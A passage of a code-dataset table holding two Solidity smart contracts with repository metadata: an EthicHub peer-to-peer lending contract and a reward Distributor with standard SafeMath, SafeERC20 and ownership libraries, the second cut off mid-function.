hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0414a018f276591eb62542b29f98ca08152e02c5d804bd161a4f4fd128b9ae30
| 25,815 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xa37d622239a6be7c1eb01e179b7cddd1d7aff961.sol
| 6,494 | 25,340 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract EthicHubBase {
uint8 public version;
EthicHubStorageInterface public ethicHubStorage = EthicHubStorageInterface(0);
constructor(address _storageAddress) public {
require(_storageAddress != address(0));
ethicHubStorage = EthicHubStorageInterface(_storageAddress);
}
}
contract EthicHubStorageInterface {
modifier onlyEthicHubContracts() {_;}
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string);
function getBytes(bytes32 _key) external view returns (bytes);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
}
contract EthicHubReputationInterface {
modifier onlyUsersContract(){_;}
modifier onlyLendingContract(){_;}
function burnReputation(uint delayDays) external;
function incrementReputation(uint completedProjectsByTier) external;
function initLocalNodeReputation(address localNode) external;
function initCommunityReputation(address community) external;
function getCommunityReputation(address target) public view returns(uint256);
function getLocalNodeReputation(address target) public view returns(uint256);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract EthicHubLending is EthicHubBase, Ownable, Pausable {
using SafeMath for uint256;
enum LendingState {
Uninitialized,
AcceptingContributions,
ExchangingToFiat,
AwaitingReturn,
ProjectNotFunded,
ContributionReturned,
Default
}
mapping(address => Investor) public investors;
uint256 public investorCount;
uint256 public reclaimedContributions;
uint256 public reclaimedSurpluses;
uint256 public fundingStartTime;
uint256 public fundingEndTime;
uint256 public totalContributed;
bool public capReached;
LendingState public state;
uint256 public annualInterest;
uint256 public totalLendingAmount;
uint256 public lendingDays;
uint256 public borrowerReturnDays;
uint256 public initialEthPerFiatRate;
uint256 public totalLendingFiatAmount;
address public borrower;
address public localNode;
address public ethicHubTeam;
uint256 public borrowerReturnDate;
uint256 public borrowerReturnEthPerFiatRate;
uint256 public ethichubFee;
uint256 public localNodeFee;
uint256 public tier;
uint256 public constant interestBaseUint = 100;
uint256 public constant interestBasePercent = 10000;
bool public localNodeFeeReclaimed;
bool public ethicHubTeamFeeReclaimed;
uint256 public surplusEth;
uint256 public returnedEth;
struct Investor {
uint256 amount;
bool isCompensated;
bool surplusEthReclaimed;
}
event onCapReached(uint endTime);
event onContribution(uint totalContributed, address indexed investor, uint amount, uint investorsCount);
event onCompensated(address indexed contributor, uint amount);
event onSurplusSent(uint256 amount);
event onSurplusReclaimed(address indexed contributor, uint amount);
event StateChange(uint state);
event onInitalRateSet(uint rate);
event onReturnRateSet(uint rate);
event onReturnAmount(address indexed borrower, uint amount);
event onBorrowerChanged(address indexed newBorrower);
event onInvestorChanged(address indexed oldInvestor, address indexed newInvestor);
modifier checkProfileRegistered(string profile) {
bool isRegistered = ethicHubStorage.getBool(keccak256(abi.encodePacked("user", profile, msg.sender)));
require(isRegistered, "Sender not registered in EthicHub.com");
_;
}
modifier checkIfArbiter() {
address arbiter = ethicHubStorage.getAddress(keccak256(abi.encodePacked("arbiter", this)));
require(arbiter == msg.sender, "Sender not authorized");
_;
}
modifier onlyOwnerOrLocalNode() {
require(localNode == msg.sender || owner == msg.sender,"Sender not authorized");
_;
}
modifier onlyInvestorOrPaymentGateway() {
bool isInvestor = ethicHubStorage.getBool(keccak256(abi.encodePacked("user", "investor", msg.sender)));
bool isPaymentGateway = ethicHubStorage.getBool(keccak256(abi.encodePacked("user", "paymentGateway", msg.sender)));
require(isPaymentGateway || isInvestor, "Sender not authorized");
_;
}
constructor(uint256 _fundingStartTime,
uint256 _fundingEndTime,
address _borrower,
uint256 _annualInterest,
uint256 _totalLendingAmount,
uint256 _lendingDays,
address _storageAddress,
address _localNode,
address _ethicHubTeam,
uint256 _ethichubFee,
uint256 _localNodeFee)
EthicHubBase(_storageAddress)
public {
require(_fundingEndTime > fundingStartTime, "fundingEndTime should be later than fundingStartTime");
require(_borrower != address(0), "No borrower set");
require(ethicHubStorage.getBool(keccak256(abi.encodePacked("user", "representative", _borrower))), "Borrower not registered representative");
require(_localNode != address(0), "No Local Node set");
require(_ethicHubTeam != address(0), "No EthicHub Team set");
require(ethicHubStorage.getBool(keccak256(abi.encodePacked("user", "localNode", _localNode))), "Local Node is not registered");
require(_totalLendingAmount > 0, "_totalLendingAmount must be > 0");
require(_lendingDays > 0, "_lendingDays must be > 0");
require(_annualInterest > 0 && _annualInterest < 100, "_annualInterest must be between 0 and 100");
version = 6;
reclaimedContributions = 0;
reclaimedSurpluses = 0;
borrowerReturnDays = 0;
fundingStartTime = _fundingStartTime;
fundingEndTime = _fundingEndTime;
localNode = _localNode;
ethicHubTeam = _ethicHubTeam;
borrower = _borrower;
annualInterest = _annualInterest;
totalLendingAmount = _totalLendingAmount;
lendingDays = _lendingDays;
ethichubFee = _ethichubFee;
localNodeFee = _localNodeFee;
state = LendingState.Uninitialized;
}
function saveInitialParametersToStorage(uint256 _maxDelayDays, uint256 _tier, uint256 _communityMembers, address _community) external onlyOwnerOrLocalNode {
require(_maxDelayDays != 0, "_maxDelayDays must be > 0");
require(state == LendingState.Uninitialized, "State must be Uninitialized");
require(_tier > 0, "_tier must be > 0");
require(_communityMembers > 0, "_communityMembers must be > 0");
require(ethicHubStorage.getBool(keccak256(abi.encodePacked("user", "community", _community))), "Community is not registered");
ethicHubStorage.setUint(keccak256(abi.encodePacked("lending.maxDelayDays", this)), _maxDelayDays);
ethicHubStorage.setAddress(keccak256(abi.encodePacked("lending.community", this)), _community);
ethicHubStorage.setAddress(keccak256(abi.encodePacked("lending.localNode", this)), localNode);
ethicHubStorage.setUint(keccak256(abi.encodePacked("lending.tier", this)), _tier);
ethicHubStorage.setUint(keccak256(abi.encodePacked("lending.communityMembers", this)), _communityMembers);
tier = _tier;
state = LendingState.AcceptingContributions;
emit StateChange(uint(state));
}
function setBorrower(address _borrower) external checkIfArbiter {
require(_borrower != address(0), "No borrower set");
require(ethicHubStorage.getBool(keccak256(abi.encodePacked("user", "representative", _borrower))), "Borrower not registered representative");
borrower = _borrower;
emit onBorrowerChanged(borrower);
}
function changeInvestorAddress(address oldInvestor, address newInvestor) external checkIfArbiter {
require(newInvestor != address(0));
require(ethicHubStorage.getBool(keccak256(abi.encodePacked("user", "investor", newInvestor))));
require(investors[oldInvestor].amount != 0);
require(investors[newInvestor].amount == 0);
investors[newInvestor].amount = investors[oldInvestor].amount;
investors[newInvestor].isCompensated = investors[oldInvestor].isCompensated;
investors[newInvestor].surplusEthReclaimed = investors[oldInvestor].surplusEthReclaimed;
delete investors[oldInvestor];
emit onInvestorChanged(oldInvestor, newInvestor);
}
function() public payable whenNotPaused {
require(state == LendingState.AwaitingReturn || state == LendingState.AcceptingContributions || state == LendingState.ExchangingToFiat, "Can't receive ETH in this state");
if(state == LendingState.AwaitingReturn) {
returnBorrowedEth();
} else if (state == LendingState.ExchangingToFiat) {
sendBackSurplusEth();
} else {
require(ethicHubStorage.getBool(keccak256(abi.encodePacked("user", "investor", msg.sender))), "Sender is not registered lender");
contributeWithAddress(msg.sender);
}
}
function sendBackSurplusEth() internal {
require(state == LendingState.ExchangingToFiat);
require(msg.sender == borrower);
surplusEth = surplusEth.add(msg.value);
require(surplusEth <= totalLendingAmount);
emit onSurplusSent(msg.value);
}
function declareProjectNotFunded() external onlyOwnerOrLocalNode {
require(totalContributed < totalLendingAmount);
require(state == LendingState.AcceptingContributions);
require(now > fundingEndTime);
state = LendingState.ProjectNotFunded;
emit StateChange(uint(state));
}
function declareProjectDefault() external onlyOwnerOrLocalNode {
require(state == LendingState.AwaitingReturn);
uint maxDelayDays = getMaxDelayDays();
require(getDelayDays(now) >= maxDelayDays);
EthicHubReputationInterface reputation = EthicHubReputationInterface(ethicHubStorage.getAddress(keccak256(abi.encodePacked("contract.name", "reputation"))));
require(reputation != address(0));
ethicHubStorage.setUint(keccak256(abi.encodePacked("lending.delayDays", this)), maxDelayDays);
reputation.burnReputation(maxDelayDays);
state = LendingState.Default;
emit StateChange(uint(state));
}
function setBorrowerReturnEthPerFiatRate(uint256 _borrowerReturnEthPerFiatRate) external onlyOwnerOrLocalNode {
require(state == LendingState.AwaitingReturn, "State is not AwaitingReturn");
borrowerReturnEthPerFiatRate = _borrowerReturnEthPerFiatRate;
emit onReturnRateSet(borrowerReturnEthPerFiatRate);
}
function finishInitialExchangingPeriod(uint256 _initialEthPerFiatRate) external onlyOwnerOrLocalNode {
require(capReached == true, "Cap not reached");
require(state == LendingState.ExchangingToFiat, "State is not ExchangingToFiat");
initialEthPerFiatRate = _initialEthPerFiatRate;
if (surplusEth > 0) {
totalLendingAmount = totalLendingAmount.sub(surplusEth);
}
totalLendingFiatAmount = totalLendingAmount.mul(initialEthPerFiatRate);
emit onInitalRateSet(initialEthPerFiatRate);
state = LendingState.AwaitingReturn;
emit StateChange(uint(state));
}
function reclaimContributionDefault(address beneficiary) external {
require(state == LendingState.Default);
require(!investors[beneficiary].isCompensated);
uint256 contribution = checkInvestorReturns(beneficiary);
require(contribution > 0);
investors[beneficiary].isCompensated = true;
reclaimedContributions = reclaimedContributions.add(1);
doReclaim(beneficiary, contribution);
}
function reclaimContribution(address beneficiary) external {
require(state == LendingState.ProjectNotFunded, "State is not ProjectNotFunded");
require(!investors[beneficiary].isCompensated, "Contribution already reclaimed");
uint256 contribution = investors[beneficiary].amount;
require(contribution > 0, "Contribution is 0");
investors[beneficiary].isCompensated = true;
reclaimedContributions = reclaimedContributions.add(1);
doReclaim(beneficiary, contribution);
}
function reclaimSurplusEth(address beneficiary) external {
require(surplusEth > 0, "No surplus ETH");
require(state != LendingState.ExchangingToFiat, "State is ExchangingToFiat");
require(!investors[beneficiary].surplusEthReclaimed, "Surplus already reclaimed");
uint256 surplusContribution = investors[beneficiary].amount.mul(surplusEth).div(surplusEth.add(totalLendingAmount));
require(surplusContribution > 0, "Surplus is 0");
investors[beneficiary].surplusEthReclaimed = true;
reclaimedSurpluses = reclaimedSurpluses.add(1);
emit onSurplusReclaimed(beneficiary, surplusContribution);
doReclaim(beneficiary, surplusContribution);
}
function reclaimContributionWithInterest(address beneficiary) external {
require(state == LendingState.ContributionReturned, "State is not ContributionReturned");
require(!investors[beneficiary].isCompensated, "Lender already compensated");
uint256 contribution = checkInvestorReturns(beneficiary);
require(contribution > 0, "Contribution is 0");
investors[beneficiary].isCompensated = true;
reclaimedContributions = reclaimedContributions.add(1);
doReclaim(beneficiary, contribution);
}
function reclaimLocalNodeFee() external {
require(state == LendingState.ContributionReturned, "State is not ContributionReturned");
require(localNodeFeeReclaimed == false, "Local Node's fee already reclaimed");
uint256 fee = totalLendingFiatAmount.mul(localNodeFee).mul(interestBaseUint).div(interestBasePercent).div(borrowerReturnEthPerFiatRate);
require(fee > 0, "Local Node's team fee is 0");
localNodeFeeReclaimed = true;
doReclaim(localNode, fee);
}
function reclaimEthicHubTeamFee() external {
require(state == LendingState.ContributionReturned, "State is not ContributionReturned");
require(ethicHubTeamFeeReclaimed == false, "EthicHub team's fee already reclaimed");
uint256 fee = totalLendingFiatAmount.mul(ethichubFee).mul(interestBaseUint).div(interestBasePercent).div(borrowerReturnEthPerFiatRate);
require(fee > 0, "EthicHub's team fee is 0");
ethicHubTeamFeeReclaimed = true;
doReclaim(ethicHubTeam, fee);
}
function reclaimLeftoverEth() external checkIfArbiter {
require(state == LendingState.ContributionReturned || state == LendingState.Default, "State is not ContributionReturned or Default");
require(localNodeFeeReclaimed, "Local Node fee is not reclaimed");
require(ethicHubTeamFeeReclaimed, "Team fee is not reclaimed");
require(investorCount == reclaimedContributions, "Not all investors have reclaimed their share");
if(surplusEth > 0) {
require(investorCount == reclaimedSurpluses, "Not all investors have reclaimed their surplus");
}
doReclaim(ethicHubTeam, address(this).balance);
}
function doReclaim(address target, uint256 amount) internal {
if (address(this).balance < amount) {
target.transfer(address(this).balance);
} else {
target.transfer(amount);
}
}
function returnBorrowedEth() internal {
require(state == LendingState.AwaitingReturn, "State is not AwaitingReturn");
require(msg.sender == borrower, "Only the borrower can repay");
require(borrowerReturnEthPerFiatRate > 0, "Second exchange rate not set");
bool projectRepayed = false;
uint excessRepayment = 0;
uint newReturnedEth = 0;
emit onReturnAmount(msg.sender, msg.value);
(newReturnedEth, projectRepayed, excessRepayment) = calculatePaymentGoal(borrowerReturnAmount(), returnedEth, msg.value);
returnedEth = newReturnedEth;
if (projectRepayed == true) {
borrowerReturnDays = getDaysPassedBetweenDates(fundingEndTime, now);
state = LendingState.ContributionReturned;
emit StateChange(uint(state));
updateReputation();
}
if (excessRepayment > 0) {
msg.sender.transfer(excessRepayment);
}
}
function contributeForAddress(address contributor) external checkProfileRegistered('paymentGateway') payable whenNotPaused {
contributeWithAddress(contributor);
}
function contributeWithAddress(address contributor) internal whenNotPaused {
require(state == LendingState.AcceptingContributions, "state is not AcceptingContributions");
require(isContribPeriodRunning(), "can't contribute outside contribution period");
uint oldTotalContributed = totalContributed;
uint newTotalContributed = 0;
uint excessContribValue = 0;
(newTotalContributed, capReached, excessContribValue) = calculatePaymentGoal(totalLendingAmount, oldTotalContributed, msg.value);
totalContributed = newTotalContributed;
if (capReached) {
fundingEndTime = now;
emit onCapReached(fundingEndTime);
}
if (investors[contributor].amount == 0) {
investorCount = investorCount.add(1);
}
if (excessContribValue > 0) {
msg.sender.transfer(excessContribValue);
investors[contributor].amount = investors[contributor].amount.add(msg.value).sub(excessContribValue);
emit onContribution(newTotalContributed, contributor, msg.value.sub(excessContribValue), investorCount);
} else {
investors[contributor].amount = investors[contributor].amount.add(msg.value);
emit onContribution(newTotalContributed, contributor, msg.value, investorCount);
}
}
function calculatePaymentGoal(uint goal, uint oldTotal, uint contribValue) internal pure returns(uint, bool, uint) {
uint newTotal = oldTotal.add(contribValue);
bool goalReached = false;
uint excess = 0;
if (newTotal >= goal && oldTotal < goal) {
goalReached = true;
excess = newTotal.sub(goal);
contribValue = contribValue.sub(excess);
newTotal = goal;
}
return (newTotal, goalReached, excess);
}
function sendFundsToBorrower() external onlyOwnerOrLocalNode {
require(state == LendingState.AcceptingContributions);
require(capReached);
state = LendingState.ExchangingToFiat;
emit StateChange(uint(state));
borrower.transfer(totalContributed);
}
function updateReputation() internal {
EthicHubReputationInterface reputation = EthicHubReputationInterface(ethicHubStorage.getAddress(keccak256(abi.encodePacked("contract.name", "reputation"))));
require(reputation != address(0));
uint delayDays = getDelayDays(now);
if (delayDays > 0) {
ethicHubStorage.setUint(keccak256(abi.encodePacked("lending.delayDays", this)), delayDays);
reputation.burnReputation(delayDays);
} else {
uint completedProjectsByTier = ethicHubStorage.getUint(keccak256(abi.encodePacked("community.completedProjectsByTier", this, tier))).add(1);
ethicHubStorage.setUint(keccak256(abi.encodePacked("community.completedProjectsByTier", this, tier)), completedProjectsByTier);
reputation.incrementReputation(completedProjectsByTier);
}
}
function getDelayDays(uint date) public view returns(uint) {
uint lendingDaysSeconds = lendingDays * 1 days;
uint defaultTime = fundingEndTime.add(lendingDaysSeconds);
if (date < defaultTime) {
return 0;
} else {
return getDaysPassedBetweenDates(defaultTime, date);
}
}
function getDaysPassedBetweenDates(uint firstDate, uint lastDate) public pure returns(uint) {
require(firstDate <= lastDate, "lastDate must be bigger than firstDate");
return lastDate.sub(firstDate).div(60).div(60).div(24);
}
function getLendingDays() public view returns(uint) {
if(borrowerReturnDays > 0) {
return borrowerReturnDays;
} else {
return getDaysPassedBetweenDates(fundingEndTime, now);
}
}
function lendingInterestRatePercentage() public view returns(uint256){
return annualInterest.mul(interestBaseUint)
.mul(getLendingDays()).div(365)
.add(localNodeFee.mul(interestBaseUint))
.add(ethichubFee.mul(interestBaseUint))
.add(interestBasePercent);
}
function investorInterest() public view returns(uint256){
return annualInterest.mul(interestBaseUint).mul(getLendingDays()).div(365).add(interestBasePercent);
}
function borrowerReturnFiatAmount() public view returns(uint256) {
return totalLendingFiatAmount.mul(lendingInterestRatePercentage()).div(interestBasePercent);
}
function borrowerReturnAmount() public view returns(uint256) {
return borrowerReturnFiatAmount().div(borrowerReturnEthPerFiatRate);
}
function isContribPeriodRunning() public view returns(bool) {
return fundingStartTime <= now && fundingEndTime > now && !capReached;
}
function checkInvestorContribution(address investor) public view returns(uint256){
return investors[investor].amount;
}
function checkInvestorReturns(address investor) public view returns(uint256) {
uint256 investorAmount = 0;
if (state == LendingState.ContributionReturned) {
investorAmount = investors[investor].amount;
if (surplusEth > 0){
investorAmount = investors[investor].amount.mul(totalLendingAmount).div(totalContributed);
}
return investorAmount.mul(initialEthPerFiatRate).mul(investorInterest()).div(borrowerReturnEthPerFiatRate).div(interestBasePercent);
} else if (state == LendingState.Default){
investorAmount = investors[investor].amount;
return investorAmount.mul(returnedEth).div(totalLendingAmount);
} else {
return 0;
}
}
function getMaxDelayDays() public view returns(uint256){
return ethicHubStorage.getUint(keccak256(abi.encodePacked("lending.maxDelayDays", this)));
}
function getUserContributionReclaimStatus(address userAddress) public view returns(bool isCompensated, bool surplusEthReclaimed){
isCompensated = investors[userAddress].isCompensated;
surplusEthReclaimed = investors[userAddress].surplusEthReclaimed;
}
}
| 166,274 | 13,400 |
527145405cde24322bc92ac0132ed656e4b4b8b10dda16b2225553d6c338f94b
| 25,741 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f0/F03d0c3746470b3121a295c8d140CAE8717394D1_Distributor.sol
| 4,105 | 16,643 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
/////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
// //
/////////////////////////////////////////////////////////////////////////////////////////////////////
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable PepeBank;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _PepeBank, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_PepeBank != address(0));
PepeBank = _PepeBank;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
